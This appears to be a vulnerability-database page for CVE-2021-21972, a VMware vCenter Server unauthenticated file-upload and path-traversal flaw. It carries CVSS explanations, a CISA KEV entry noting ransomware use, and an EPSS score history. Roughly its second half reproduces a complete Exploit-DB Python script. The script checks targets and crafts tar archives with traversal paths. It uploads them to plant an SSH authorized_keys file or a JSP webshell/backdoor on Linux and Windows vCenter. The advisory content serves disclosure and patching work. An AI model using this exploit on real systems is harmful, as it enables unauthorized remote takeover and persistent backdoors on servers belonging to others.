CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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The vSphere Client (HTML5) contains a remote code execution vulnerability in a vCenter Server plugin. A malicious actor with network access to port 443 may exploit this issue to execute commands with unrestricted privileges on the underlying operating system that hosts vCenter Server. This affects VMware vCenter Server (7.x before 7.0 U1c, 6.7 before 6.7 U3l and 6.5 before 6.5 U3n) and VMware Cloud Foundation (4.x before 4.2 and 3.x before 3.10.1.2).
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V3.1
9.8
CRITICAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
More informations
Base: Exploitabilty Metrics
The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.
Attack Vector
This metric reflects the context by which vulnerability exploitation is possible.
Network
The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).
Attack Complexity
This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.
Low
Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.
Privileges Required
This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.
None
The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.
None
The vulnerable system can be exploited without interaction from any user.
Base: Scope Metrics
The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.
Scope
Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.
Unchanged
An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.
Base: Impact Metrics
The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.
Confidentiality Impact
This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.
High
There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.
Integrity Impact
This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.
High
There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.
Availability Impact
This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.
High
There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).
Temporal Metrics
The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.
Environmental Metrics
These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.
nvd@nist.gov
V2
10
AV:N/AC:L/Au:N/C:C/I:C/A:C
nvd@nist.gov
CISA KEV (Known Exploited Vulnerabilities)
Vulnerability name : VMware vCenter Server Remote Code Execution Vulnerability
Required action : Apply updates per vendor instructions.
Known To Be Used in Ransomware Campaigns : Known
Added : 2021-11-02 23h00 +00:00
Action is due : 2021-11-16 23h00 +00:00
Important information
This CVE is identified as vulnerable and poses an active threat, according to the Catalog of Known Exploited Vulnerabilities (CISA KEV). The CISA has listed this vulnerability as actively exploited by cybercriminals, emphasizing the importance of taking immediate action to address this flaw. It is imperative to prioritize the update and remediation of this CVE to protect systems against potential cyberattacks.
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2021-04-18
38.17%
–
–
–
–
2021-06-27
43.6%
–
–
–
–
2021-09-05
–
43.6%
–
–
–
2022-02-06
–
–
96.08%
–
–
2022-07-17
–
–
94.32%
–
–
2022-11-20
–
–
96.08%
–
–
2023-03-12
–
–
–
97.39%
–
2023-04-23
–
–
–
97.43%
–
2023-05-14
–
–
–
97.47%
–
2023-06-18
–
–
–
97.48%
–
2023-06-25
–
–
–
97.5%
–
2023-07-02
–
–
–
97.48%
–
2023-07-16
–
–
–
97.39%
–
2023-07-30
–
–
–
97.42%
–
2023-08-27
–
–
–
97.43%
–
2023-10-01
–
–
–
97.41%
–
2023-10-29
–
–
–
97.44%
–
2023-11-12
–
–
–
97.4%
–
2023-12-10
–
–
–
97.39%
–
2023-12-24
–
–
–
97.36%
–
2024-01-21
–
–
–
97.39%
–
2024-02-04
–
–
–
97.38%
–
2024-02-11
–
–
–
97.37%
–
2024-02-18
–
–
–
97.3%
–
2024-06-02
–
–
–
97.3%
–
2024-06-16
–
–
–
97.33%
–
2024-06-30
–
–
–
97.31%
–
2024-07-14
–
–
–
97.25%
–
2024-08-04
–
–
–
97.31%
–
2024-09-08
–
–
–
97.36%
–
2024-12-08
–
–
–
97.31%
–
2024-12-15
–
–
–
97.26%
–
2024-12-22
–
–
–
97.43%
–
2024-12-29
–
–
–
97.42%
–
2025-01-19
–
–
–
97.42%
–
2025-03-18
–
–
–
–
93.74%
2025-03-18
–
–
–
–
93.74,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Publication date : 2021-02-28 23h00 +00:00 Author : Photubias EDB Verified : No
# Exploit Title: VMware vCenter Server 7.0 - Unauthenticated File Upload
# Date: 2021-02-27
# Exploit Author: Photubias
# Vendor Advisory: [1] https://www.vmware.com/security/advisories/VMSA-2021-0002.html
# Version: vCenter Server 6.5 (7515524<[vulnerable]<17590285), vCenter Server 6.7 (<17138064) and vCenter Server 7 (<17327517)
# Tested on: vCenter Server Appliance 6.5, 6.7 & 7.0, multiple builds
# CVE: CVE-2021-21972
#!/usr/bin/env python3
'''
Copyright 2021 Photubias(c)
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
File name CVE-2021-21972.py
written by tijl[dot]deneut[at]howest[dot]be for www.ic4.be
CVE-2021-21972 is an unauthenticated file upload and overwrite,
exploitation can be done via SSH public key upload or a webshell
The webshell must be of type JSP, and its success depends heavily on the specific vCenter version
# Manual verification: https://<ip>/ui/vropspluginui/rest/services/checkmobregister
# A white page means vulnerable
# A 401 Unauthorized message means patched or workaround implemented (or the system is not completely booted yet)
# Notes:
# * On Linux SSH key upload is always best, when SSH access is possible & enabled
# * On Linux the upload is done as user vsphere-ui:users
# * On Windows the upload is done as system user
# * vCenter 6.5 <=7515524 does not contain the vulnerable component "vropspluginui"
# * vCenter 6.7U2 and up are running the Webserver in memory, so backdoor the system (active after reboot) or use SSH payload
This is a native implementation without requirements, written in Python 3.
Works equally well on Windows as Linux (as MacOS, probably ;-)
Features: vulnerability checker + exploit
'''
import os, tarfile, sys, optparse, requests
requests.packages.urllib3.disable_warnings()
lProxy = {}
SM_TEMPLATE = b'''<env:Envelope xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<env:Body>
<RetrieveServiceContent xmlns="urn:vim25">
<_this type="ServiceInstance">ServiceInstance</_this>
</RetrieveServiceContent>
</env:Body>
</env:Envelope>'''
sURL = sFile = sRpath = sType = None
def parseArguments(options):
global sURL, sFile, sType, sRpath, lProxy
if not options.url or not options.file: exit('[-] Error: please provide at least an URL and a FILE to upload.')
sURL = options.url
if sURL[-1:] == '/': sURL = sURL[:-1]
if not sURL[:4].lower() == 'http': sURL = 'https://' + sURL
sFile = options.file
if not os.path.exists(sFile): exit('[-] File not found: ' + sFile)
sType = 'ssh'
if options.type: sType = options.type
if options.rpath: sRpath = options.rpath
else: sRpath = None
if options.proxy: lProxy = {'https': options.proxy}
def getVersion(sURL):
def getValue(sResponse, sTag = 'vendor'):
try: return sResponse.split('<' + sTag + '>')[1].split('</' + sTag + '>')[0]
except: pass
return ''
oResponse = requests.post(sURL + '/sdk', verify = False, proxies = lProxy, timeout = 5, data = SM_TEMPLATE)
#print(oResponse.text)
if oResponse.status_code == 200:
sResult = oResponse.text
if not 'VMware' in getValue(sResult, 'vendor'):
exit('[-] Not a VMware system: ' + sURL)
else:
sName = getValue(sResult, 'name')
sVersion = getValue(sResult, 'version') # e.g. 7.0.0
sBuild = getValue(sResult, 'build') # e.g. 15934073
sFull = getValue(sResult, 'fullName')
print('[+] Identified: ' + sFull)
return sVersion, sBuild
exit('[-] Not a VMware system: ' + sURL)
def verify(sURL):
#return True
sURL += '/ui/vropspluginui/rest/services/uploadova'
try:
oResponse = requests.get(sURL, verify=False, proxies = lProxy, timeout = 5)
except:
exit('[-] System not available: ' + sURL)
if oResponse.status_code == 405: return True ## A patched system returns 401, but also if it is not booted completely
else: return False
def createTarLin(sFile, sType, sVersion, sBuild, sRpath = None):
def getResourcePath():
oResponse = requests.get(sURL + '/ui', verify = False, proxies = lProxy, timeout = 5)
return oResponse.text.split('static/')[1].split('/')[0]
oTar = tarfile.open('payloadLin.tar','w')
if sRpath: ## version & build not important
if sRpath[0] == '/': sRpath = sRpath[1:]
sPayloadPath = '../../' + sRpath
oTar.add(sFile, arcname=sPayloadPath)
oTar.close()
return 'absolute'
elif sType.lower() == 'ssh': ## version & build not important
sPayloadPath = '../../home/vsphere-ui/.ssh/authorized_keys'
oTar.add(sFile, arcname=sPayloadPath)
oTar.close()
return 'ssh'
elif (int(sVersion.split('.')[0]) == 6 and int(sVersion.split('.')[1]) == 5) or (int(sVersion.split('.')[0]) == 6 and int(sVersion.split('.')[1]) == 7 and int(sBuild) < 13010631):
## vCenter 6.5/6.7 < 13010631, just this location with a subnumber
sPayloadPath = '../../usr/lib/vmware-vsphere-ui/server/work/deployer/s/global/%d/0/h5ngc.war/resources/' + os.path.basename(sFile)
print('[!] Selected uploadpath: ' + sPayloadPath[5:])
for i in range(112): oTar.add(sFile, arcname=sPayloadPath % i)
oTar.close()
return 'webshell'
elif (int(sVersion.split('.')[0]) == 6 and int(sVersion.split('.')[1]) == 7 and int(sBuild) >= 13010631):
## vCenter 6.7 >= 13010631, webshell not an option, but backdoor works when put at /usr/lib/vmware-vsphere-ui/server/static/resources/libs/<thefile>
sPayloadPath = '../../usr/lib/vmware-vsphere-ui/server/static/resources/libs/' + os.path.basename(sFile)
print('[!] Selected uploadpath: ' + sPayloadPath[5:])
oTar.add(sFile, arcname=sPayloadPath)
oTar.close()
return 'backdoor'
else: #(int(sVersion.split('.')[0]) == 7 and int(sVersion.split('.')[1]) == 0):
## vCenter 7.0, backdoor webshell, but dynamic location (/usr/lib/vmware-vsphere-ui/server/static/resources15863815/libs/<thefile>)
sPayloadPath = '../../usr/lib/vmware-vsphere-ui/server/static/' + getResourcePath() + '/libs/' + os.path.basename(sFile)
print('[!] Selected uploadpath: ' + sPayloadPath[5:])
oTar.add(sFile, arcname=sPayloadPath)
oTar.close()
return 'backdoor'
def createTarWin(sFile, sRpath = None):
## vCenter only (uploaded as administrator), vCenter 7+ did not exist for Windows
if sRpath:
if sRpath[0] == '/': sRpath = sRpath[:1]
sPayloadPath = '../../' + sRpath
else:
sPayloadPath = '../../ProgramData/VMware/vCenterServer/data/perfcharts/tc-instance/webapps/statsreport/' + os.path.basename(sFile)
oTar = tarfile.open('payloadWin.tar','w')
oTar.add(sFile, arcname=sPayloadPath)
oTar.close()
def uploadFile(sURL, sUploadType, sFile):
#print('[!] Uploading ' + sFile)
sFile = os.path.basename(sFile)
sUploadURL = sURL + '/ui/vropspluginui/rest/services/uploadova'
arrLinFiles = {'uploadFile': ('1.tar', open('payloadLin.tar', 'rb'), 'application/octet-stream')}
## Linux
oResponse = requests.post(sUploadURL, files = arrLinFiles, verify = False, proxies = lProxy)
if oResponse.status_code == 200:
if oResponse.text == 'SUCCESS':
print('[+] Linux payload uploaded succesfully.')
if sUploadType == 'ssh':
print('[+] SSH key installed for user \'vsphere-ui\'.')
print(' Please run \'ssh vsphere-ui@' + sURL.replace('https://','') + '\'')
return True
elif sUploadType == 'webshell':
sWebshell = sURL + '/ui/resources/' + sFile
#print('testing ' + sWebshell)
oResponse = requests.get(sWebshell, verify=False, proxies = lProxy)
if oResponse.status_code != 404:
print('[+] Webshell verified, please visit: ' + sWebshell)
return True
elif sUploadType == 'backdoor':
sWebshell = sURL + '/ui/resources/' + sFile
print('[+] Backdoor ready, please reboot or wait for a reboot')
print(' then open: ' + sWebshell)
else: ## absolute
pass
## Windows
arrWinFiles = {'uploadFile': ('1.tar', open('payloadWin.tar', 'rb'), 'application/octet-stream')}
oResponse = requests.post(sUploadURL, files=arrWinFiles, verify = False, proxies = lProxy)
if oResponse.status_code == 200:
if oResponse.text == 'SUCCESS':
print('[+] Windows payload uploaded succesfully.')
if sUploadType == 'backdoor':
print('[+] Absolute upload looks OK')
return True
else:
sWebshell = sURL + '/statsreport/' + sFile
oResponse = requests.get(sWebshell, verify=False, proxies = lProxy)
if oResponse.status_code != 404:
print('[+] Webshell verified, please visit: ' + sWebshell)
return True
return False
if __name__ == "__main__":
usage = (
'Usage: %prog [option]\n'
'Exploiting Windows & Linux vCenter Server\n'
'Create SSH keys: ssh-keygen -t rsa -f id_rsa -q -N \'\'\n'
'Note1: Since the 6.7U2+ (b13010631) Linux appliance, the webserver is in memory. Webshells only work after reboot\n'
'Note2: Windows is the most vulnerable, but less mostly deprecated anyway')
parser = optparse.OptionParser(usage=usage)
parser.add_option('--url', '-u', dest='url', help='Required; example https://192.168.0.1')
parser.add_option('--file', '-f', dest='file', help='Required; file to upload: e.g. id_rsa.pub in case of ssh or webshell.jsp in case of webshell')
parser.add_option('--type', '-t', dest='type', help='Optional; ssh/webshell, default: ssh')
parser.add_option('--rpath', '-r', dest='rpath', help='Optional; specify absolute remote path, e.g. /tmp/testfile or /Windows/testfile')
parser.add_option('--proxy', '-p', dest='proxy', help='Optional; configure a HTTPS proxy, e.g. http://127.0.0.1:8080')
(options, args) = parser.parse_args()
parseArguments(options)
## Verify
if verify(sURL): print('[+] Target vulnerable: ' + sURL)
else: exit('[-] Target not vulnerable: ' + sURL)
## Read out the version
sVersion, sBuild = getVersion(sURL)
if sRpath: print('[!] Ready to upload your file to ' + sRpath)
elif sType.lower() == 'ssh': print('[!] Ready to upload your SSH keyfile \'' + sFile + '\'')
else: print('[!] Ready to upload webshell \'' + sFile + '\'')
sAns = input('[?] Want to exploit? [y/N]: ')
if not sAns or not sAns[0].lower() == 'y': exit()
## Create TAR file
sUploadType = createTarLin(sFile, sType, sVersion, sBuild, sRpath)
if not sUploadType == 'ssh': createTarWin(sFile, sRpath)
## Upload and verify
uploadFile(sURL, sUploadType, sFile)
## Cleanup
os.remove('payloadLin.tar')
os.remove('payloadWin.tar')
Products Mentioned
Configuraton 0
Vmware>>Cloud_foundation >> Version From (including) 3.0 To (excluding) 3.10.1.2
